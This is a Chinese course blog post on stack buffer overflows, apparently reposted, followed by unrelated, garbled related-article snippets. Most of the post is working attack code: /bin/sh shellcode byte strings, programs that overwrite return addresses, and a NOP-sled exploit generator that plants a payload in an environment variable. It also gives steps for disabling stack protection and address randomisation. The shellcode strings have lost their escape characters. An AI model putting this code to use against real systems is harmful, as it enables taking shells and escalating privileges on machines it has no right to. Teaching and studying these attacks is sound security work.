判断unsigned long long乘法溢出_信息安全课程17:缓冲区溢出2

在之前所讲述的内容中,都是我们在自己的程序中自行修改的;正常情况下,没有程序员会在自己的代码中这样写——那有没有办法攻击别人正常的程序呢?攻击者怎么样能够影响到不是自己的程序的返回地址呢?以及怎么样通过攻击别人的代码来获得shell呢?并且最好是root shell呢?

为了理解一下这个问题的难度,我们来归纳一下在之前获得shell的例子中,我们利用了哪些条件。首先,我们在程序中,写了一段调用生成shell的代码,这段代码直接和主程序一起被编译生成了可执行代码;其次,我们能够容易地获得函数调用中的返回地址,因为可以直接操作变量。

如果要攻击他人的程序,首先,需要有一段生成shell的可执行代码;其次,需要能够找到一个返回地址。

第一个问题,答案是shellcode。

第二个问题,答案是缓冲区溢出。

什么是shellcode呢?就是能够生成shell的code。就不细讲如何生成shellcode了。

先直接来看一些shellcode的例子。

7be3c5a01c310d0e73c89083b0e11acf.png

以下代码在32系统运行。

 char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";void hello(){printf("hello.n");exit(0);
}void main(int argc, char **p) {int *ret;ret = (int *)&ret + 2;(*ret) = (int)shellcode;
}

值得注意的是,此时的shellcode是一段字符串,而且没有被声明为const,也即是可变的。这样的变量一般在分配时,相应的内存处会有不可执行保护。在编译时需要加上参数,取消栈保护。

以下代码在64位系统运行。

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 3;(*ret) = (unsigned long)shellcode;}

通过以上例子,可以看出shellcode的作用,就是一段可执行的代码。当返回地址指向shellcode的首地址的时候,shellcode获得执行。

894a25a4de828c7ac6f552280d8af6fe.png
https://www.zhihu.com/video/1102522760315613184

同时,我们对以下代码进行比较。

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";void main(int argc, char **p) {unsigned long *ret;ret = (unsigned long *)&ret + 1 ;(*ret) = (unsigned long)shellcode;}

这段代码的执行结果是

6fab37a52669aa9cd52a862ff4cd2eed.png

想一想,为什么?

再看一下,这段代码在32位系统:

void main(int argc, char **p) {int *ret;char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80""xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff""xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";ret = (int *)&ret + 21;(*ret) = (int)shellcode;
}

运行结果如下:

243e80e6506f6ae1e8bc55a458a77e1d.png
https://www.zhihu.com/video/1102520181166817280

思考一下是什么原因呢?

在64位系统上,结果也类似。为了防御缓冲区溢出攻击,编译器进行了canary和防止栈运行等防御。

明确shellcode的功能之后,攻击者现在需要做的事情,就是将shellcode置于内存的某处,然后将返回地址指向shellcode。这一步骤,主要是通过缓冲区溢出实现的。


首先看下面一段代码。

void function(char *str){char buffer[16];strcpy(buffer,str);
}void main(){char large_string[256];int i;for(i=0;i<255;i++)large_string[i]='A';function(large_string);
}

这段程序中就存在 Buffer Overflow 的问题。之所以叫做缓冲区溢出,是因为function中的字符数组长度仅为16,而传递给 function 的字符串长度要比 buffer 大很多。并且function 没有经过任何长度校验,直接用 strcpy 将长字符串拷入 buffer。strcpy并不进行长度检查。在之前的分析中,我们知道字符串存储时是从低地址向高地址增长,因此超出buffer[16]的字符串会持续向上覆盖,也即溢出。结果是 buffer 后面的 250 字节的内容也被覆盖掉了,这其中自然也包括 前一个ebp(rbp)、 ret 地址 、large_string 地址。所以此时 function的返回地址变成了 0x41414141h,所以当function函数执行结束返回时,它将返回到 0x41414141h 地址处继续执行,但由于这个地址并不在程序实际使用的虚存空间范围内,所以系统会报 Segmentation Violation。

4762d6b2aa645d8c2ee1026fe248d16b.png

之前讲过,因为overflow漏洞影响深远,所以操作系统和编译器中都对它进行了防范。在这个例子中可以看到,如果编译的时候没有取消栈保护,那么会被检测出来试图进行攻击。这个保护的原理是什么,我们过会儿再看,现在先来看看如果利用缓冲区溢出,来获得一个shell。

看这一份代码。【以下代码在64位系统上运行失败;在32位系统没问题。】

char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";char large_string[256];void main() {char buffer[96];int i;unsigned long *long_ptr = (unsigned long *) large_string;for (i = 0; i < 32; i++)*(long_ptr + i) = (unsigned long) buffer; //使用buffer首地址填充large_string;等待覆盖return address;这样,返回地址变为buffer首地址;下一个for循环,使得shellcode在strcpy的起始;使用strcpy,保证buffer首地址就是shellode的起始for (i = 0; i < strlen(shellcode); i++)large_string[i] = shellcode[i];strcpy(buffer,large_string);
}
584a08718193cf92efc284e369e468de.png
https://www.zhihu.com/video/1102531298475761664

类似的代码在64位系统上:

d8a7c1ab384a9b030720109669802391.png
https://www.zhihu.com/video/1102540775484735488

在64位系统上失败的原因:从large_string到buffer的拷贝不成功。导致返回地址的值没有被修改。获得shell失败。


到目前为止,所有的攻击还是在同一份代码中发生的。

如果想对别人发起攻击,应该如何操作?

我们看一段简单的代码:

void main (int argc,char *argv[]) {char buffer[512];if (argc > 1)strcpy(buffer,argv[1]);
}

攻击思路是传入一段代码,并且还要让main的返回地址指向我们传入的代码。因为传入的代码只能在buffer中,所以我们要能知道buffer的首地址是多少。在之前的例子中,我们将buffer的首地址复制了很多份放在large_string中,这里因为buffer是在别人的代码中,也不能直接操作,所以只好靠猜——然后将这个地址再拷贝很多次。

大概十年之前,对于所有程序来说堆栈的起始地址是一 样的,而且在拷贝 ShellCode 之前,堆栈中已经存在的栈帧一般来说并不多,长度 大致在一两百到几千字节的范围内。因此,我们可以通过猜测加试验的办法最终 找到 ShellCode 的入口地址。

现在,为了防御这种方式,加了栈起始地址随机化。如果没有关掉栈起始地址随机化保护,不同次运行同一个程序时,栈的起始位置都不一样。

unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}
void main() {printf("0x%xn", get_sp());
}

8bc9788e03077e02d9e155a04bc0d377.png

所以,猜测更加困难了。

这里为了演示,我们得把操作系统的栈起始地址随机化保护给关掉。

f7e687360b3d5f9d3736aae4553f25e0.png

关掉之后,

6511cdf4468e17123016fc4e185415e5.png

有一个方法是将 ShellCode 放在 large_string 的中部,而前面则一律填充为 NOP 指令(NOP 指令是一个任何事都不做的指令,主要用于延时操作,几 乎所有 CPU 都支持 NOP 指令)。这样,只要我们猜的地址落在这个 NOP 指令串中, 那么程序就会一直执行直至执行到 ShellCode(如下图)。这样一来,我们猜中的概率就大多了(以前必须要猜中 ShellCode 的入口地址,现在只要猜中 NOP 指令串中的任何一个地址即可)。

 #include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";unsigned long get_sp(void) {__asm__("movl %esp,%eax");
}void main(int argc, char *argv[]) {char *buff, *ptr;long *addr_ptr, addr;int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;int i;if (argc > 1) bsize = atoi(argv[1]);if (argc > 2) offset = atoi(argv[2]);if (!(buff = malloc(bsize))) {printf("Can't allocate memory.n");exit(0);} printf("0x%xn",get_sp());addr = get_sp() - offset;printf("Using address: 0x%xn", addr);ptr = buff;
//	addr = "bfffef90"; addr_ptr = (long *) ptr;for (i = 0; i < bsize; i+=4)*(addr_ptr++) = addr;for (i = 0; i < bsize/2; i++)buff[i] = NOP;ptr = buff + ((bsize/2) - (strlen(shellcode)/2));for (i = 0; i < strlen(shellcode); i++)*(ptr++) = shellcode[i];buff[bsize - 1] = '0';//memcpy(buff,"EGG=",4);//putenv(buff);setenv("EGG",buff,1);system("/bin/bash");
}

运行结果如下【32位系统】:

3f5cd8537cf47597d5d3a4107ab8cd64.png
https://www.zhihu.com/video/1102567120042352640

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/340071.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

java 保垒机telnet,开源堡垒机系统Teleport

一. teleport简介Teleport是一款简单易用的堡垒机系统&#xff0c;具有小巧、易用的特点&#xff0c;支持 RDP/SSH/SFTP/Telnet 协议的远程连接和审计管理。Teleport由两大部分构成&#xff1a;跳板核心服务WEB操作界面官网地址: https://tp4a.com/ 官网文档: https://docs.…

php背景图片随页面大小改变,css背景图根据屏幕大小自动缩放

css背景图根据屏幕大小自动缩放代码&#xff1a;html,body{margin:0px;padding:0px;}#background { position: fixed;top: 0;left: 0;width: 100%;height: 100%;overflow: hidden;background-color: #211f1f; display:none\8;}#background .bg-photo {position: absolute;top: …

forever不重启 node_运维监控Prometheus,部署安全的node_exporter监控主机

简介prometheus监控系统的时候&#xff0c;是使用pull的方式来获取监控数据&#xff0c;需要被监控端监听对应的端口&#xff0c;prometheus从这些端口服务中拉取对应的数据。node_exporter安全性讨论node_exporter是收集操作系统的指标的一个程序。例如CPU&#xff0c;内存&am…

netbeans ide_IDE:5个最喜欢的NetBeans功能

netbeans ide愉快的发展……。 NetBeans具有许多有趣的功能 &#xff0c;这些功能使开发非常容易&#xff0c;只需很少的步骤&#xff0c;并且可以在非常快速地将产品推向市场的过程中创造出非常高效的环境 。 将我的谈话仅限于五个功能非常困难&#xff0c;而此IDE具有大量有…

那是两个小时我不会回来

正如我之前关于linting主题所说的 &#xff0c;花时间修改代码的好处很有限&#xff0c;因为自动工具告诉您这样做。 更糟糕的是&#xff0c;这些工具并非万无一失。 例如&#xff0c;我们一直在针对完美无害的try-with-resources构造周围的SpotBugs警告中添加排除项&#xff…

oracle 查询不同编号的时间最小记录_投稿 | ORACLE amp; PostgreSql 利用伪列删除完全重复的两行...

作者&#xff1a;缪晓丽DBA、数据库爱好者、从业10年。对 DB2、PostgreSQL、Oracle 均有较长的运维经验。本次演示的 test 表如下&#xff1a;01Oracle 的 rowidSQL 语句&#xff1a;DELETE FROM ( SELECT ROW_NUMBER() OVER (PARTITION BY id ORDER BY id) AS rn, id, name…

addcslashes php,php addcslashes函数怎么用

php addcslashes函数返回在指定字符前添加反斜杠的字符串。其语法是addcslashes(string,characters)&#xff0c;参数string是必须的&#xff0c;规定要转义的字符串&#xff0c;characters是必须&#xff0c;规定要转义的字符或字符范围。addcslashes函数怎么用&#xff1f;作…

struct类型重定义 不同的基类型_C++构造数据类型

结构体(struct)定义&#xff1a;结构体是一个数据类型&#xff0c;是由多个不同类型的数据组成的数据集合。关键字为&#xff1a;struct 。优点&#xff1a;大大减少程序代码的离散性&#xff0c;使程序代码阅读更加符合逻辑。语法&#xff1a;struct 结构体类型名{ 成员类型 成…

php zip怎么安装,php如何安装zip模块?(方法介绍)

php 安装zip模块为php安装zip扩展wget http://pecl.php.net/get/zip-1.13.5.tgz tar -zvxf zip-1.13.5.tgz cd zip-1.13.5 /home/xxx/php/bin/phpize出现错误&#xff1a;Cannot find autoconf. Please check your autoconf installation and the $PHP_AUTOCONF environment va…

vs如何写多线程_java中的多线程的示例

在讨论多线程之前&#xff0c;让我们先讨论线程。线程是进程中轻量级的最小部分&#xff0c;可以与同一进程的其他部分(其他线程)并发运行。线程是独立的&#xff0c;因为它们都有独立的执行路径&#xff0c;这就是为什么如果一个线程中发生异常&#xff0c;它不会影响其他线程…

matlab mex路径,使用matlab进行mex编译时的路径问题mexopts

matlab和vs 进行混合编程时总需要使用matlab编译mexFunction.cpp文件。这些文件免不了使用include下的*.h和lib下的*.lib文件。举matlab和vs 进行混合编程时总需要使用matlab编译mexFunction.cpp文件。这些文件免不了使用include下的*.h和lib下的*.lib文件。举例说明&#xff0…

hystrix应用 博客_用Hystrix保护您的应用程序

hystrix应用 博客在先前的帖子http://www.javacodegeeks.com/2014/07/rxjava-java8-java-ee-7-arquillian-bliss.html中&#xff0c;我们讨论了微服务以及如何使用&#xff08;RxJava&#xff09;的Reactive Extensions编排微服务。 但是&#xff0c;如果一项或多项服务因已停止…

艾默生变频器报警PHP,艾默生ct变频器报警ou 这个CT的变频器报警UU怎么解决?

1, 这个CT的变频器报警UU怎么解决&#xff1f;(1) 控制板Q1(15050026)坏。(2) 7840坏&#xff1a;在变频器通电时&#xff0c;用直流档&#xff0c;黑接5脚&#xff0c;红分别接6,7,8脚&#xff0c;值为2.5,2.5,5为正常&#xff0c;否则7840坏。(3) 小板坏&#xff1a;在变频器…

Project Reactor展开方法

最近&#xff0c;我的一位同事向我介绍了Project Reactor类型的expand运算符&#xff0c;在这篇文章中&#xff0c;我想介绍几种使用它的方式。 展开分页结果 考虑在名为City的模型上基于Spring Data的存储库&#xff1a; import org.springframework.data.jpa.repository.Jpa…

同时买票是怎么实现的_去巴黎玩怎么买地铁票最划算?| 巴黎最全交通攻略

次票、天票、机场票……傻傻分不清楚。不会法语怎么办&#xff1f;什么时候买有优惠&#xff1f;看这一篇全知道​​巴黎作为国际大都市&#xff0c;交通还是非常方便的。基本上80%的巴黎景点都能坐地铁到达&#xff0c;就在我们平常所说的小巴黎里。整个巴黎岛&#xff08;Ile…

php输入地址查询,PHP查询用户IP所在地址

原创内容&#xff0c;转载请注明出处&#xff1a;https://www.myzhenai.com.cn/post/3042.html关键词&#xff1a;IP所在地址 IP地址 PHP获取ip地址相关内容&#xff1a;获取IP所处位置的Shell代码&#xff1a;https://www.myzhenai.com.cn/post/2917.htmlWordPress获取当前浏览…

swig模板 PHP,如何使用nodejs前端模板引擎swig

这次给大家带来如何使用nodejs前端模板引擎swig&#xff0c;使用nodejs前端模板引擎swig的注意事项有哪些&#xff0c;下面就是实战案例&#xff0c;一起来看一下。相对于jade&#xff0c;我还是更喜欢swig前端模板引擎&#xff0c;jade虽然语法简练高效了不少&#xff0c;但是…

redis是什么_什么是Redis?为什么我们要用Redis?

前言当结束Java和数据库的学习以后&#xff0c;你就会接触到Redis这个词&#xff0c;我第一次听到的时候脑海里就会浮现这两个问题&#xff1a;什么是Redis&#xff1f;为什么我们要用Redis&#xff1f;我了解完以后&#xff0c;写出来帮助大家能够更快的认识它。我们先来看它的…

性能php 教程,提高PHP性能效率的几个技巧

如何提高效率问题&#xff0c;往往同样的功能&#xff0c;不一样的代码&#xff0c;出来的效率往往大不一样。● 用单引号代替双引号来包含字符串&#xff0c;这样做会更快一些。因为PHP会在双引号包围的字符串中搜寻变量&#xff0c;单引号则不会&#xff0c;注意&#xff1a;…

python from numpy import,python zeros()使用(from numpy import *)-Go语言中文社区

参考&#xff1a;############################################################函数zeros()在模块numpy中&#xff1a;from numpy import *help(zeros)该函数功能是创建给定类型的矩阵&#xff0c;并初始化为0参数简洁&#xff1a;shape&#xff1a;可以是int类型数据&#x…